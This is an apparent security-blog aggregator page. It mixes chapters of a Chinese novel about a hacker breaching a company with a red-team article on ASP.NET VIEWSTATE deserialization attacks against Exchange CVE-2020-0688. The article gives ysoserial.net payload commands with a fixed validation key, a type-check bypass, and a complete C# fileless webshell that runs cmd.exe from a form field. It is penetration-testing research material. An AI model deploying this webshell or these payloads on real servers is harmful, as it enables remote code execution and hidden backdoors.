Aggregator
Openfire 管理员密码解密
原创小说《杀手》第五章 恶作剧
黑客,月光下的魔术师。一个看似固若金汤,并投入了巨大的财力、人力、物力打造网络安全防护系统。每天有专人盯着,并可以随时触碰到。就是这样的系统,黑客往往也只会微微一笑,以你意想不到的方式去侵入你的系统。他们喜欢黑夜,他们在黑暗中默默的监视着你的一举一动。而你对此一无所知。
解雇王梓在写着代码,旁边的两个同事在讨论。
同事小王先开口说道:“听说最近公司要裁员,咱们哥几个可得好好表现下,别被裁了,特殊时期可别往枪口上撞啊。”
“你这消息真的假的啊?”同事小张半信半疑地问道。
“这还能有假,其他几个部门已经有人被开除了。”
“那你是从哪里得到的消息啊?”
“另外一个部门的同事跟我说的,消息绝对可靠。没准啊,下一个就该我们部门喽~”
此时王梓部门的领导走了过来,旁边的两个人赶紧装作忙工作的样子。
“王梓,你到我办公室来一趟。”
王梓起身,朝领导办公室走去。旁边的两个同事面面相觑。小张先说话了:“你这乌鸦嘴,还真是,看来他这次要被开喽,他写的代码经常有bug(注解1:),有几次还是我给他调好的呢。平时就不爱说话,也不跟人交流,难怪技术那么差。”
“是啊,我也给他改过几次呢。咱们先准备准备,领导如果找咱们了,咱们跟领导求求情。”
“嗯,好。”
王梓来到领导办公室。
Change the Rules Speaker Event
威胁狩猎101文档
JNDI实现回显研究 - Afant1
日志分析系列(三):分析实战篇
基于 Redis 实现分布式锁
原创小说《杀手》第四章 网络灾难
暗潮涌动,当浮现出来的那一刻,必定是一场惊涛骇浪。50亿的信息泄漏已经够让人膛目结舌。似乎国内因为这一切变得平静,而在国际上,维基解密网站发布CIA使用的黑客工具包,一群网络中一名名为“影子”的组织劲爆出美国NSA使用的网络武器库。这个超级网络武器库对黑客们来说无疑是一场饕餮大餐。那黑夜中无数双眼睛变得无比的亮,各自忙碌着。
王梓看着这个超级武器库,内心大吃一惊,技术超前,覆盖全面,内容丰富。这注定是一个无眠的夜晚,王梓不断对其进行分析,并完善到自己的武器库中。
不止一次让王梓深深的感觉到人外有人,天外有天。单单靠他一个人不行,如今已不是个人英雄主义的时代。他需要伙伴,一起并肩作战的伙伴。就如网络武器库就是一支有精英队伍所打造出来的。而王梓就要建立一支这样的民间队伍。
太阳升起又落下,王梓站起身,伸了伸懒腰。看了下时间,晚上8点钟。正好可以下楼出去,顺便吃点东西。这个时候的晚上生活很是丰富。有穿着时尚又性感的美女在遛狗,有父母带着小孩子在散步的,有说有笑,而在不远处播放着最炫民族风,大妈们正在起劲的跳着广场舞,还有坐在小区椅子的大爷。王梓走在路上,徐徐的微风吹来,吹散了一脸的疲倦,顿时精神起来。
Cyber Threats Targeting Europe, Winter 2019
Bypass JEP290攻击rmi - Afant1
原创小说《杀手》第三章 追踪
Jack来到了天成网络公司的总部,他身穿一身白色衬衫,一条浅蓝色牛仔裤,整个人看上去非常的精神。到达后公司的人热情招待,但是Jack则直接拒绝了,要求立刻就要开始进行分析追踪。因为这对他来说,是一次有趣的挑战。他有些迫不及待是一个什么样的人干了这件事情。
首先询问了系统部人员的一些网络架构。以及现在企业内部所做的全防护措施。接着他有询问了更加具体的信息,其中包含了文件保存的位置,以及发生的时间点等。通过快速的对话沟通,Jack了解了对方的网络一个大概的安全状况。
他跟对方的技术负责人说道:“你们现在的网络情况相对来说做的非常不错,你们目前忽略了公司员工的安全意识,以及目前网络并没有对外流出数据进行一个很好的监控。这使的黑客有机可乘。”
“哎呦,您真的是太专业的,我们已经把我们所了解到的都利用上了,同时我们也经常找安全团队来对我们的系统进行入侵测试。然而他们并没有发现什么内容。发现的我们也都已经修复了。”系统部负责人拍了下大腿,高兴的对Jack说道。因为他似乎看到了希望,看到了眼前这个人可以查出入侵者,这样他也就不会被炒鱿鱼了。
“如果真的如你说的这般,这次的攻击者也是花了很大的代价来入侵你们,看来对方是真的下了血本,想置你们公司于死地啊。”放心,这次我一定要帮助你们找到真凶。他更加的想要知道究竟是什么样人了。
“能有您的加入,那真的是太好了,有什么需要帮助的,需要我们提供的,您就尽管说。我们一定全力配合您。”
“好,那我们废话不多说,开始吧。”
“好,小王,给Jack倒一杯咖啡。”
说着Jack找了个空位置,很不客气的就坐下了,从他的背包中拿出了自己的thinkpad笔记本。上面有一个blackhat的贴纸,看上去非常的酷。
硬核安全招聘,有干货有福利,还有顶配iPhone等你拿
招聘|平安银行2020年安全人才招募令!
基于JMX协议攻击方式总结 - Afant1
这是一篇“不一样”的真实渗透测试案例分析文章
原创小说《杀手》第二章 黑夜来临
生命的短暂犹如露珠消散,人们在奔波中探寻答案。命运如同大海起伏不定,键盘在黑夜中吟唱悲歌。
寂静的黑夜,人们的呼声飘荡在夜空中。
北京市朝阳区酒仙桥路阳光上东小区,在某间屋子里,一个人人正在神情专注的盯着电脑,不断的发出鼠标点击和敲击键盘的噼啪声,那声音清脆极了,犹如美妙的音符一般。
王梓正在探寻对方的公司内部网络,寻找着重要信息。看似平静的夜晚,而危险正在通过网络悄无声息的靠近。在未来的一个月内不知道会有多少人面临着失业,抑或者有人因此而自杀,也不知道多少病人因为药厂不能提供一些药物而加重病情,甚至死去。人们无法预测自己的未来和控制未来。杀手掌握着别人的未来,可是对于杀手抑或者网络杀手来说,他们自己的未来,也同样掌握在别人的手里。
人们还不知道危险就在自己的身边,人的生命有时候就是这样的脆弱。人们的命运都掌握在别人手里,在这大千世界面前我们都是弱者。即使强者也只是暂时的,不断变换着的。
王梓通过之前的几台员工电脑,很顺利的便控制了对方的crm(客户关系管理系统)、文件备份管理系统。此时的他正在准备获取到公司内部网络的最高管理权限(域控制权限)。黑色窗口,白色字符,不断闪现的流动的一串串字符。每一次的键盘敲击,都是在与目标靠近。
Cyber Threats Targeting Middle East, Winter 2019
原创小说 《杀手》 第一章 网络杀手
杀手是在生活中受到雇主的雇佣,而去执行杀人任务,最终获得报酬。他们孤独,不轻易相信其他任何的人。他们非常冷酷,面对生命,他们从来不会手下留情。因为杀人就是她们的存在的意义。很少有人见过他们,因为大多数见过他们的人,都已经被杀死掉了。他们平时白天不出门,只有在夜里才开始行动,他们出去都会戴上墨镜,头顶一顶鸭舌帽,有时候以雾霾为由戴上口罩。其实,他们只是不想别人知道他们的真正面目。他们活在黑暗的世界里,不见天日。他们很可怜,没有爱情,没有亲情,甚至连个朋友都没有。
在网络的世界中也有这样的一种人,他们不杀人,他们也不需要在现实中隐藏包装自己,因为他们只存在于虚拟的网络世界中,很少有人知道他们的真面目。他们同样在夜间才进行活动,他们的任务是窃取企业,政府的最高机密信息。更准确的说,可以叫他们为网络间谍。他们是这个网络上的杀手,他们不会亲自杀人,却因为他们盗取的信息,有他们的买家来去做一些伤天害理的事情,使很多人因此而家破人亡。不过,对于这个世界来说,每个人都有着他自己的命运,弱者注定要被这个社会淘汰,而这个也正是杀手们所认同的,在杀手已活着网络杀手看来,他们可以杀死(入侵的目标)的人都是弱者。他们信奉他们自己可以改变或控制别人的命运,甚至大多数人的命运。
登场“早~”,小楠对刚刚到公司的王梓打招呼。王梓则开心的笑笑,作为回应。
王梓是一家中日合资的中型软件公司的程序员。性格内向,腼腆。长相一般,在嘴巴的右上角有一颗痦子。在这家拥有数十位的程序员的公司,每个人都只负责各自的一部分,王梓在这里是其中普普通通的一员,公司部门内部竞争激烈,升职也比较困难,王梓不时还会犯些小错误,因为被领导破口大骂。对此王梓什么都不说,只在一旁听着,完事后继续回到座位上默默的工作。这时候,作为翻译的小楠总会过来安慰王梓。王梓也总说是他自己的错误。不怪领导发脾气。
玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門
這篇文章呼應我在研討會 DEVCORE CONFERENCE 2019 分享的主題,如何用小缺陷一步步擊破使用 ASP.NET 框架所撰寫的堅固的網站應用程式,其中之一的內容就是關於我們在此之前過往紅隊演練專案中,成功數次透過 VIEWSTATE 的反序列化攻擊並製造進入內網突破口的利用方式以及心得,也就是此篇文章的主題。
內文最近微軟產品 Exchange Server 爆出一個嚴重漏洞 CVE-2020-0688,問題發生的原因是每台 Exchange Server 安裝完後在某個 Component 中都使用了同一把固定的 Machine Key,而相信大家都已經很熟悉取得 Machine Key 之後的利用套路了,可以竄改 ASP.NET Form 中的 VIEWSTATE 參數值以進行反序列化攻擊,從而達成 Remote Code Execution 控制整台主機伺服器。
更詳細的 CVE-2020-0688 漏洞細節可以參考 ZDI blog:
對於 VIEWSTATE exploit 分析在網路上已經有無數篇文章進行深入的探討,所以在此篇文章中將不再重複贅述,而今天主要想聊聊的是關於 VIEWSTATE exploit 在滲透測試中如何進行利用。
最基本、常見的方式是直接使用工具 ysoserial.net 的 ViewState Plugin 產生合法 MAC 與正確的加密內容,TypeConfuseDelegate gadget 經過一連串反射呼叫後預設會 invoke Process.Start 呼叫 cmd.exe,就可以觸發執行任意系統指令。
例如:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"異常的 VIEWSTATE 通常會導致 aspx 頁面回應 500 Internal Server Error,所以我們也無法直接得知指令執行的結果,但既然有了任意執行,要用 PowerShell 回彈 Reverse Shell 或回傳指令結果到外部伺服器上並不是件難事。
But ..
在滲透測試的實戰中,事情往往沒這麼美好。現今企業資安意識都相對高,目標伺服器環境出現以下幾種限制都已是常態:
- 封鎖所有主動對外連線
- 禁止查詢外部 DNS
- 網頁目錄無法寫入
- 網頁目錄雖可寫,但存在 Website Defacement 防禦機制,會自動復原檔案
所以這時就可以充分利用另一個 ActivitySurrogateSelectorFromFile gadget 的能力,這個 gadget 利用呼叫 Assembly.Load 動態載入 .NET 組件達成 Remote Code Execution,換句話說,可以使我們擁有在與 aspx 頁面同一個 Runtime 環境中執行任意 .NET 語言程式碼的能力,而 .NET 預設都會存在一些指向共有資源的全域靜態變數可以使用,例如 System.Web.HttpContext.Current 就可以取得當下 HTTP 請求上下文的物件,也就像是我們能利用它來執行自己撰寫的 aspx 網頁的感覺,並且過程全是在記憶體中動態處理,於是就等同於建立了無檔案的 WebShell 後門!
我們只需要修改 -g 的參數成 ActivitySurrogateSelectorFromFile,而 -c 參數放的就不再是系統指令而是想執行的 ExploitClass.cs C# 程式碼檔案,後面用 ; 分號分隔加上所依賴需要引入的 dll。
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"關於需要引入的 dll 可以在安裝了 .NET Framework 的 Windows 主機上找到,像我的環境是在這個路徑 C:\Windows\Microsoft.NET\Framework64\v4.0.30319 之中。
至於最關鍵的 ExploitClass.cs 該如何撰寫呢?將來會試著提交給 ysoserial.net,就可以在範例檔案裡找到它,或是可以先直接看這裡:
class E { public E() { System.Web.HttpContext context = System.Web.HttpContext.Current; context.Server.ClearError(); context.Response.Clear(); try { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "cmd.exe"; string cmd = context.Request.Form["cmd"]; process.StartInfo.Arguments = "/c " + cmd; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.StartInfo.UseShellExecute = false; process.Start(); string output = process.StandardOutput.ReadToEnd(); context.Response.Write(output); } catch (System.Exception) {} context.Response.Flush(); context.Response.End(); } }其中 Server.ClearError() 和 Response.End() 都是必要且重要的一步,因為異常的 VIEWSTATE 必然會使得 aspx 頁面回應 500 或其他非預期的 Server Error,而呼叫第一個函式可以協助清除在當前 Runtime 環境下 stack 中所記錄的錯誤,而呼叫 End() 可以讓 ASP.NET 將當前上下文標記為請求已處理完成並直接將 Response 回應給客戶端,避免程式繼續進入其他 Error Handler 處理導致無法取得指令執行的輸出結果。
到這個步驟的話,理論上你只要送出請求時固定帶上這個惡意 VIEWSTATE,就可以像操作一般 WebShell 一樣:
不過有時也會出現這種情境:
不論怎麼改 Payload 再重送永遠都是得到 Server Error,於是就開始懷疑自己的人生 Q_Q
但也別急著灰心,可能只是你遇上的目標有很乖地定期更新了伺服器而已,因為微軟曾為了 ActivitySurrogateSelector 這個 gadget 加上了一些 patch,導致無法直接利用,好在有其他研究者馬上提供了解決方法使得這個 gadget 能再次被利用!
詳細細節可以閱讀這篇文章:Re-Animating ActivitySurrogateSelector By Nick Landers
總而言之,如果遇到上述情形,可以先嘗試用以下指令產生 VIEWSTATE 並發送一次給伺服器,順利的話就能使目標 Runtime 環境下的 DisableActivitySurrogateSelectorTypeCheck 變數值被設為 true,隨後再發送的 ActivitySurrogateSelector gadget 就不會再噴出 500 Server Error 了。
ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"如果上述一切都很順利、成功執行系統指令並回傳了結果,基本上就足夠做大部分事情,而剩下的就是繼續盡情發揮你的想像力吧!
不過有時候即便到了此一步驟還是會有不明的錯誤、不明的原因導致 MAC 計算始終是錯誤的,因為 .NET 內部演算法以及需要的環境參數組合稍微複雜,使得工具沒辦法輕易涵蓋所有可能情況,而當遇到這種情形時,我目前選擇的解決方法都是發揮工人智慧,嘗試在本機建立環境、設定相同的 MachineKey、手工撰寫 aspx 檔案,產生包含 gadget 的 VIEWSTATE 再轉送到目標主機上。如果你有更多發現或不一樣的想法願意分享的話,也歡迎來和我交流聊聊天。